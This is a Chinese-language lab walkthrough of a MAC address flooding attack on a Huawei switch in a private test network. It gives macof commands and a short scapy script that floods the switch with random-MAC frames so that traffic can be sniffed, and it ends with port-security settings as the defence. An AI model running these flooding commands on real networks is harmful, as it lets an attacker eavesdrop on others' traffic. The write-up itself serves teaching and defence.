MAC地址泛洪攻击

CAM表

交换机会通过自己接收到的数据帧, 建立数据帧源 MAC 地址和端口之间的对应关系(自学习), 此后, 交换机就可以利用存储这个映射关系的逻辑表, 有针对性地明确(单播)转发数据帧, 交换机上这个存储映射关系的逻辑表叫作 MAC 地址表CAM 表

CAM 表的容量是有限的, 如果短时间内收到大量不同源 MAC 地址发来的数据包, CAM 表就会被填满。当填满之后, 新到的条目就会覆盖前面的条目。这样当网络中正常的数据包到达交换机之后, 而交换机中 CAM 表已经被伪造的表项填满, 无法找到正确的对应关系, 只能将数据包盲目转发(广播)出去。这时受到攻击的交换机实际上已经退化成集线器。黑客只需要在自己的计算机上将网卡设置为混杂模式, 就可以监听整个局域网的通信。

MAC地址泛洪攻击

  • 攻击机:kali (192.168.44.134)
  • 靶机:华为S3700交换机 (192.168.44.66)
  • PC1 (192.168.44.88)
  • PC2 (192.168.44.99)

1

从上图可以看出 kali 位于交换机的 g0/0/1 端口, 且属于动态端口

使用macof

安装dsniff

macof是dsniff工具集的一个组件。使用以下命令安装 dsniff:

1
2
sudo apt install -y dsniff
sudo macof -h
攻击
1
sudo macof -d 192.168.44.66

1

从上图可以看到 macof 向交换机循环发送了大量 TCP SYN 握手包, 并且每个数据包的源和目的 MAC 地址都不同。

抓包
  • 交换机抓包:

1

从上图可以看到交换机短时间内就收到了上百万个伪造源 IP 地址的数据包。

1

交换机在遭到攻击之后, 内部的 CAM 表很快就会被填满(上图可见攻击机所在接口出现了大量伪造的不同的 MAC 地址的)。交换机在退化成集线器后会将收到的单播数据包全部广播出去, 使得任何人都可收到数据包。

  • 攻击机抓包

1

从上图可以看到攻击机(192.168.44.134)抓到了 PC1(192.168.44.88) ping PC2(192.168.44.99)的单播包。

使用scapy

scapy 模块中的 RandMAC()和 RandIP() 可以很方便地构造随机 MAC 地址和 IP 地址, 也可以生成固定网段的 IP 地址, 方法是:RandIP("192.168.1.*")。编写如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
from scapy.all import *  # 导入scapy库的所有模块

while 1: # 无限循环发送数据包
packet=Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),dst=RandIP())/ICMP()
# 创造一个数据包,包含以太网头部(Ether),IP头部(IP)和ICMP头部(ICMP)
# 对每个头部进行定义。在以太网头部中,设置源MAC地址和目标MAC地址为随机MAC地址
# 在IP头部中,设置源IP和目标IP为随机IP。最后添加ICMP头部

time.sleep(0.3) # 每次发送数据包前等待半秒(0.3秒)

sendp(packet) # 使用sendp方法发送数据包

print(packet.summary()) # 打印出数据包的摘要信息

1

执行该程序后, 可以看到程序发送了大量垃圾数据包。

防护

交换机启用端口安全功能, 限制每个端口最多可以学习的 MAC 地址数量:

1
2
3
4
5
6
7
8
9
system-view  # 进入系统视图
display mac-address # 查看CAM表
undo mac-address dynamic # 清空CAM表

interface GigabitEthernet 0/0/1
port-security enable # 开启端口安全功能
port-security max-mac-num 8 # 最多允许学习8个MAC地址(默认1)
port-security protect-action restrict # 缺省动作也是restrict, 即丢弃并通知
port-security mac-address sticky # 开启黏性学习, 重启不会失效

alt text

完成此配置之后, 再次在 kali 中启动 macof 进行攻击。攻击进行一段时间之后, 在交换机中使用display mac-address命令查看它的 CAM 表。可以看到虽然攻击者依然产生了大量的数据包, 但是依然只占用了 CAM 表中的8项, 因而永远无法达到填满整个 CAM 表的目的。同时, 交换机也发出了警告来表示该接口进入了限制模式。

参考书籍:

  1. https://book.douban.com/subject/35298615/
  2. https://support.huawei.com/enterprise/zh/doc/EDOC1100112417/f077fec3